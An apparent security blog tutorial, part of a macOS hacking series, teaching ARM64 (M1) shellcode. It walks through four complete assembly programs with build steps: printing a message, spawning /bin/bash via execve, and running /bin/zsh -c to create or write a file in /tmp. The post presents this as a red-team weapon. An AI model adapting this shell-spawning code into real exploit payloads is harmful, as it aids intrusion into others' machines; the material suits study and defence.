MacOS hacking part 6: Assebmly intro on ARM(M1). Simple NASM (M1) examples
quality 7/10 · good
0 net
Tags
MacOS hacking part 6: Assebmly intro on ARM(M1). Simple NASM (M1) examples - cocomelonc You are using an outdated browser. Please upgrade your browser to improve your experience. cocomelonc cybersec enthusiast. mathematician. author. speaker. hacker Follow Istanbul Email Twitter GitHub LinkedIn Custom Social Profile Link --> ﷽ Hello, cybersecurity enthusiasts and white hackers! In this article, I will walk you through an assembly code that writes a simple message and run shell on a macOS system using M1 ARM64 architecture. We will go through the code step by step, explaining each part in simple terms. practical example First example is pretty simple: macOS ARM64 shellcode for “Meow\n” to stdout. Start from setting up the write syscall: mov x0 , # 1 The logic is x0 = 1 , this register is used for the first syscall argument: the file descriptor. Here, 1 is stdout. adr x1 , msg x1 = address of msg . ARM64 doesn’t use lea like x86_64 , but adr works: it puts the address of the msg string into x1 (the second syscall argument). Then: mov x2 , # 5 This is just: x2 = 5 . This is the length of the message (“Meow\n” is 5 bytes). At the next step, we need a calling the kernel (write syscall). Something like this: movz x16 , # 0x4 ; x16 = 0x00000004 movk x16 , # 0x2000 , lsl # 16 ; x16 = 0x00200004 svc # 0x80 ; make syscall As you can see, from comments: x16 = syscall number . On macOS ARM64, syscalls use a big number: 0x2000004 for write. movz loads the low 16 bits, then movk fills in the higher bits. svc #0x80 triggers the kernel: perform the syscall. Then, finally, exit cleanly, like this: ; exit(0) mov x0 , # 0 movz x16 , # 0x1 movk x16 , # 0x2000 , lsl # 16 svc # 0x80 x0 = 0 - exit code, then x16 = 0x2000001 . That’s the exit syscall. svc #0x80 again: make the syscall. The data: ; --- data --- .align 2 msg: .ascii " Meow \ n " Just the message, raw in the binary. What is the difference from x86_64 (Intel) shellcode on macOS? First of all, syscall calling convention! For example, arguments: x0,x1,x2.... . Syscall numbers are much bigger on macOS ARM64 (e.g., 0x2000004 for write). Also as I wrote before, x86_64 uses lea to get addresses, but ARM uses adr or adrp/add combo. In general, for shellcoding on ARM64: You can’t just mov x16, #0x2000004 - it doesn’t fit! What is the solution? We build it with movz and movk . Shellcoding on ARM64 means learning new tricks and register names - but conceptually, it’s still “put your arguments in order, put your syscall number in the magic register, trap to the kernel, profit.” So full source code looks like this meow.s : ; macOS ARM64 shellcode: write "Meow\n" to stdout ; author cocomelonc ; https://cocomelonc.github.io/macos/2025/07/18/malware-mac-6.html .global _start .section __TEXT , __text _start: ; write(1, buf, 5) mov x0 , # 1 ; fd = 1 (stdout) adr x1 , msg ; buffer pointer mov x2 , # 5 ; length = 5 movz x16 , # 0x4 ; x16 = 0x00000004 movk x16 , # 0x2000 , lsl # 16 ; x16 = 0x00200004 svc # 0x80 ; make syscall ; exit(0) mov x0 , # 0 movz x16 , # 0x1 movk x16 , # 0x2000 , lsl # 16 svc # 0x80 ; --- data --- .align 2 msg: .ascii " Meow \ n " demo 1 Let’s go to see first example in action. Compile it: as -arch arm64 meow.s -o meow.o Then, try to link: ld -arch arm64 -macosx_version_min 14.0 -e _start -o meow meow.o But, we have an error: So, we need run another command. First of all check this: xcrun --sdk macosx --show-sdk-path As you can see, in my case (MacBook Air on M1 with Mac OS X 15 ), we have /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk So, update our command for linking: ld -arch arm64 -e _start -o meow meow.o -lSystem -syslibroot $( xcrun --sdk macosx --show-sdk-path ) As you can see, successfully linked, then run: ./meow Everything is worked perfectly as expected! =^..^= practical example 2 Let’s break down macOS ARM64 shellcode for running /bin/bash (works the same for /bin/zsh - we need just change the string). First of all, we need to prepare the /bin/bash string: adrp x1 , binzsh@page add x1 , x1 , binzsh@pageoff adrp and add load the address of the string /bin/bash into x1 . On ARM64, you can’t just lea like x86 . You need this 2 -step trick for PC-relative addressing. Then, prepare argv array ( [ "/bin/bash", NULL ] ) like this: ; prepare argv ["/bin/bash", NULL] on the stack sub sp , sp , 16 str x1 , [ sp ] mov x2 , # 0 str x2 , [ sp , # 8 ] sp points to the start of our new stack array, argv[0] is pointer to the path, argv[1] is NULL . At the next step set up registers for execve , in this case x0 - filename, x1 - argv array and x2 - envp (environment): mov x0 , x1 ; path mov x1 , sp ; argv mov x2 , xzr ; envp Syscall execve : ; syscall execve (0x200003b) movz x16 , # 0x3b movk x16 , # 0x2000 , lsl # 16 svc # 0x80 Here, x16 = syscall number for execve ( 0x200003b on macOS/ARM64). Finally, if execve fails, just exit with code 1 : ; fallback exit(1) mov x0 , # 1 movz x16 , # 0x1 movk x16 , # 0x2000 , lsl # 16 svc # 0x80 Also add null -terminated string for the shell path in data section. Full source code for this example looks like this hack.s : ; macOS ARM64 shellcode: run "/bin/bash" ; author cocomelonc ; https://cocomelonc.github.io/macos/2025/07/18/malware-mac-6.html .global _start .section __TEXT , __text _start: ; prepare string "/bin/bash" on the stack adrp x1 , binzsh@page add x1 , x1 , binzsh@pageoff ; prepare argv ["/bin/bash", NULL] on the stack sub sp , sp , 16 str x1 , [ sp ] mov x2 , # 0 str x2 , [ sp , # 8 ] mov x0 , x1 ; path mov x1 , sp ; argv mov x2 , xzr ; envp ; syscall execve (0x200003b) movz x16 , # 0x3b movk x16 , # 0x2000 , lsl # 16 svc # 0x80 ; fallback exit(1) mov x0 , # 1 movz x16 , # 0x1 movk x16 , # 0x2000 , lsl # 16 svc # 0x80 .align 2 binzsh: .asciz " / bin / bash " demo 2 Let’s go to see in action this second example. Compile it: as -arch arm64 hack.s -o hack.o Then link it: ld -arch arm64 -e _start -o hack hack.o -lSystem -syslibroot $( xcrun --sdk macosx --show-sdk-path ) As you can see, successfully linked, then run: ./hack As you can see, everything is worked perfectly! Shell spawned! =^..^= practical example 3 Let’s create code an ARM64 assembly shellcode for macOS that launches /bin/zsh with the -c argument to execute some command, for example: touch /tmp/meow.txt . The logic is pretty simple. From the previous example we know that execve expects three parameters, char *fname - the full path to the executable (name of the command to executed), char *argv[] - a pointer to an array of strings with the command-line arguments (ending with a null pointer), and char *envp[] - a pointer to an array of environment variable strings, which in our case we just set to NULL. According to the calling convention, the three arguments need to be placed in registers X0 , X1 , and X2 . Since X1 should hold a pointer to an array of string pointers (i.e., char pointers), we need to arrange these addresses consecutively in memory and set X1 to point to the start of that area. To do this, we push the addresses of fname (which is arg0 ), arg1 , and arg2 onto the stack, followed by a null pointer ( 8 zero bytes) for proper alignment. In this example, the resulting memory layout will look like this: In other words, we first load the path to the executable ( /bin/zsh ) and the arguments ( -c and the command string) into memory. Next, we set up an argv array on the stack, where each entry is a pointer to a string ( fname , arg1 , and arg2 ), followed by a NULL pointer for termination. According to the ARM64 macOS calling convention, we place the path, the address of our argv array, and a NULL pointer for environment variables into the X0 , X1 , and X2 registers, respectively. We then invoke the execve system call using the appropriate syscall number for macOS ARM64 ( 0x200003b ). If, for some reason, execve fails, we call exit(1) to terminate the process gracefully. Full source code looks like this ( hack2.s ): ; macOS ARM64: execve("/bin/zsh", ["-c", "touch /tmp/meow.txt"], NULL) .global _start .section __TEXT , __text .align 2 _start: ; set up pointer to "/bin/zsh" adrp x0 , fname@page ; x0 = page address of fname add x0 , x0 , fname@pageoff ; x0 = pointer to "/bin/zsh" ; prepare stack space for argv[] (three pointers: fname, arg1, arg2, NULL) sub sp , sp , # 32 ; allocate 4 * 8 bytes (32 bytes) on stack ; set up argv[0] = pointer to "/bin/zsh" adrp x1 , fname@page add x1 , x1 , fname@pageoff str x1 , [ sp , # 0 ] ; set up argv[1] = pointer to "-c" adrp x2 , arg1@page add x2 , x2 , arg1@pageoff str x2 , [ sp , # 8 ] ; set up argv[2] = pointer to "touch /tmp/meow.txt" adrp x3 , arg2@page add x3 , x3 , arg2@pageoff str x3 , [ sp , # 16 ] ; set up argv[3] = NULL mov x4 , xzr ; x4 = 0 str x4 , [ sp , # 24 ] ; x0: path ; x1: argv (pointer to argv[0]) ; x2: envp (NULL) mov x1 , sp ; x1 = pointer to argv[] mov x2 , xzr ; x2 = NULL ; prepare execve syscall number for macOS (0x200003b) movz x16 , # 0x3b movk x16 , # 0x2000 , lsl # 16 ; syscall: execve("/bin/zsh", argv, NULL) svc # 0x80 ; if execve fails, exit(1) mov x0 , # 1 movz x16 , # 0x1 movk x16 , # 0x2000 , lsl # 16 svc # 0x80 ; ---- data section .align 2 fname: .asciz " / bin / zsh " .align 2 arg1: .asciz "-c" .align 2 arg2: .asciz "touch /tmp/meow.txt" This is a classic example of process spawning shellcode that demonstrates how to execute system commands from assembly on Apple Silicon (M1/M2) Macs. demo 3 Let’s go to see everything in action. Compile it: as -arch arm64 hack2.s -o hack2.o Then, linking this example: ld -arch arm64 -e _start -o hack2 hack2.o -lSystem -syslibroot $( xcrun --sdk macosx --show-sdk-path ) Before run it, check /tmp/ dir: ls -lht /tmp/ Then, run: ./hack2 and check again: As you can see, everything is worked perfectly again! =^..^= practical example 4 What about write something to /tmp/meow.txt ? For this just use this full source code hack3.s : ; macOS ARM64: execve("/bin/zsh", ["-c", 'echo "Meow" > /tmp/meow.txt'], NULL) .global _start .section __TEXT , __text .align 2 _start: ; x0 = path to "/bin/zsh" adrp x0 , fname@page add x0 , x0 , fname@pageoff ; prepare stack space for argv[] (4 pointers: fname, arg1, arg2, NULL) sub sp , sp , # 32 ; argv[0] = "/bin/zsh" adrp x1 , fname@page add x1 , x1 , fname@pageoff str x1 , [ sp , # 0 ] ; argv[1] = "-c" adrp x2 , arg1@page add x2 , x2 , arg1@pageoff str x2 , [ sp , # 8 ] ; argv[2] = "echo \"Meow\" > /tmp/meow.txt" adrp x3 , arg2@page add x3 , x3 , arg2@pageoff str x3 , [ sp , # 16 ] ; argv[3] = NULL mov x4 , xzr str x4 , [ sp , # 24 ] ; x1 = argv[] mov x1 , sp ; x2 = envp = NULL mov x2 , xzr ; syscall number for execve: 0x200003b (macOS ARM64) movz x16 , # 0x3b movk x16 , # 0x2000 , lsl # 16 svc # 0x80 ; if execve fails, exit(1) mov x0 , # 1 movz x16 , # 0x1 movk x16 , # 0x2000 , lsl # 16 svc # 0x80 ;; --- data section --- .align 2 fname: .asciz " / bin / zsh " .align 2 arg1: .asciz "-c" .align 2 arg2: .asciz " echo \" Meow \ " > /tmp/meow.txt" The only difference between this version and the previous one is the command we pass to /bin/zsh as the third argument in argv[2] . Instead of just touching a file (creating an empty file with touch /tmp/meow.txt ), we are now writing a string into the file using the shell’s built-in echo . The main logic remains unchanged. We still set up the path to /bin/zsh in x0 , we still prepare the argv array on the stack, then we point x1 to the stack and set x2 (the environment) to NULL . Finally, we call the execve syscall using the macOS ARM64. This demonstrates how we can leverage shell features (like output redirection) within our ARM64 shellcode to perform more complex actions using a single system call. demo 4 Let’s go to see this in action. Compile it: as -arch arm64 hack3.s -o hack3.o Then, linking this example: ld -arch arm64 -e _start -o hack3 hack3.o -lSystem -syslibroot $( xcrun --sdk macosx --show-sdk-path ) Then, run and check file content: ./hack3 cat /tmp/meow.txt As you can see, everything is worked perfectly: Meow string is written to our file! =^..^= attention! But we have some caveats. Once we get to writing shellcode, we want to avoid any null -bytes. For this reason I will show you source code for this examples that does not contain any null -bytes in the next few blog posts. conclusion The ARM64 assembly shellcode for macOS is a minimalistic and position-independent routine that interacts directly with the kernel via system calls. It places all required arguments in the appropriate registers and encodes syscall numbers using the specific ARM64 idiom with movz and movk instructions, as required by macOS conventions. For data such as command-line strings or output text, it leverages either the stack or inline data within the binary, carefully managing addresses using relative instructions like adr or adrp/add . The code constructs necessary argument arrays for syscalls like execve manually, respecting calling conventions for argv and envp pointers. The entire payload is crafted to avoid dependencies on any external libraries or absolute addresses, making it highly portable and practical for use in real-world exploitation or red teaming scenarios. I hope this post is useful for malware researchers, macOS/Apple security researchers, ASM programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal. macOS hacking part 1 macOS hacking part 2 macOS hacking part 3 macOS hacking part 4 macOS hacking part 5 source code in github This is a practical case for educational purposes only. Thanks for your time happy hacking and good bye! PS. All drawings and screenshots are mine Share on Twitter Facebook LinkedIn You may also enjoy MacOS malware persistence 9: emond (The Event Monitor Daemon). Simple C example 3 minute read ﷽ MacOS malware persistence 8: periodic scripts. Simple C example 3 minute read ﷽ MacOS hacking part 13: sysinfo stealer via VirusTotal API. Simple C example 4 minute read ﷽ MacOS malware persistence 7: Re-opened applications. Simple C example 7 minute read ﷽